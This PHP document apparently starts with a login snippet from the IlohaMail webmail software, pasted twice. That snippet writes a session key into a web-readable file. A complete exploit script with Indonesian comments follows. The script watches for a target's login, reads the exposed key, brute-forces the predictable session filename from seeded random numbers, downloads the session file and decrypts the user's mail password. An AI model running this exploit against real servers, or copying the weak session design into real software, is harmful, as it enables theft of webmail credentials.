$path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

    $path=GetPrefsFolder($user_name, $host, $new_user);
    if ($path){
 
        // create session ID
        if (!isset($session)){
            $session=time()."-".GenerateRandomString(5,"0123456789");
            $user=$session;	
        }
 
        // generate random session key
        $key=GenerateMessage(strlen($password)+5);
 
        // save session key in $userPath/key.inc
        $fp=fopen($path."/key.inc", 'w');
        if ($fp){
            fputs($fp, '<!--?php $passkey="'.$key.'"; ?-->');
            fclose($fp);
        }
 
        // encrypt login ID, host, and passwords
        $encpass = EncryptMessage($key, $password);
        $encHost = EncryptMessage($key, $host);
        $encUser = EncryptMessage($key, $user_name);

<?php
 
mysql_connect("127.0.0.1","root","root");
mysql_select_db("iloha");
 
print @date("Y-m-d H:i:s").">> Menunggu target login...\n";
while (true) {
	$user = 'rizki@ilmuhacking.com';
	$mxhost = 'ilmuhacking.com';
 
	$url = "http://localhost:8888/ilohamail0814rc3/data/users/${user}.${mxhost}/key.inc";
 
	$curl = curl_init();
	curl_setopt($curl, CURLOPT_URL, $url); 
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_FILETIME, true);
	curl_setopt($curl, CURLOPT_TIMEOUT, 15);
	$result = curl_exec($curl);
	$timestamp = intval(curl_getinfo($curl, CURLINFO_FILETIME));
	$delta=time()-$timestamp;
	if ( $delta < 60 ) { // baru login di bawah 1 menit yang lalu	
		print @date("Y-m-d H:i:s").">> Target baru login $delta detik yang lalu\n";
		$count = preg_match_all('#"(.*)"#',$result,$matches);
		if ($count == 1) {
			$key = $matches[1][0];
 
			$lenkey = strlen($key);
			$sql = "select `seed` from `keyseed` where `key` LIKE '$key%'";
			$res = mysql_query($sql);
			$arr = mysql_fetch_array($res);
			$seed = intval($arr[0]);
 
			print @date("Y-m-d H:i:s").">> Encryption key --> $key\n";
			print @date("Y-m-d H:i:s").">> Timestamp: $timestamp\n";
			print @date("Y-m-d H:i:s").">> Seed that generated '$key': $seed\n";
 
			$mulai = $seed-40;
			print @date("Y-m-d H:i:s").">> Brute forcing random seed around $mulai ...\n";
			$end = $seed - 700;
			for ($i = $mulai; $i > $end; $i--) {
				$guess = GenerateRandomString(5,"0123456789",$i);
				$filename = sprintf("%d-%05d.inc",$timestamp,$guess);
				$url = sprintf("http://localhost:8888/ilohamail0814rc3/data/sessions/$filename",$waktu,$i);
 
				curl_setopt($curl, CURLOPT_URL, $url); 								
				curl_setopt($curl, CURLOPT_TIMEOUT, 15);
				curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
				curl_setopt($curl, CURLOPT_FILETIME, false);
				$sess = curl_exec($curl);		
				if ($sess === false) {
					continue;
				}
				if (!empty($sess) && strpos($sess,"GetPassword")>-1) {
					$sess = trim($sess);
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> OK\n$url\n";			
 
					$count = preg_match_all('#"(.*)"#',$sess,$matches);
					if ($count == 4) {
						$password = $matches[1][0];
						$host = $matches[1][1];
						$username = $matches[1][2];
						$userpath = $matches[1][3];
 
						$decoded_user = DecodeMessage($key,$username);
						$decoded_pass = DecodeMessage($key,$password);
 
						print @date("Y-m-d H:i:s").">> Decrypted >>>> $decoded_pass \n";
					}
					die();
				} else {
					print @date("Y-m-d H:i:s").">> Seed: $i >> Generated random number: $guess >> Not Found\n";
				}
			}
		}
	}
	sleep(30);
}
 
 
function GenerateRandomString($messLen, $seed, $seedkey){
        srand ((double)$seedkey);
        $message = "";
        if (empty($seed)) $seed="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
        $seedLen=strlen($seed);
        if ($messLen==0) $messLen = rand(10, 20);
        for ($i=0;$i<$messLen;$i++){
                $point=rand(0, $seedLen-1);
                $message.=$seed[$point];
        }
        return $message;
}
 
function DecodeMessage($pass, $message){
	$message=base64_decode($message);
	$messLen=strlen($message);
	$passLen=strlen($pass);
 
	$decMessage="";
	for ($i=0;$i<$messLen;$i++){
		$j=$i % $passLen;
		$num=ord($message[$i]);
		$decNum=(($num + 128) - ord($pass[$j])) % 128;
		$decMessage.=chr($decNum);
	}
 
	return $decMessage;
}
 
?>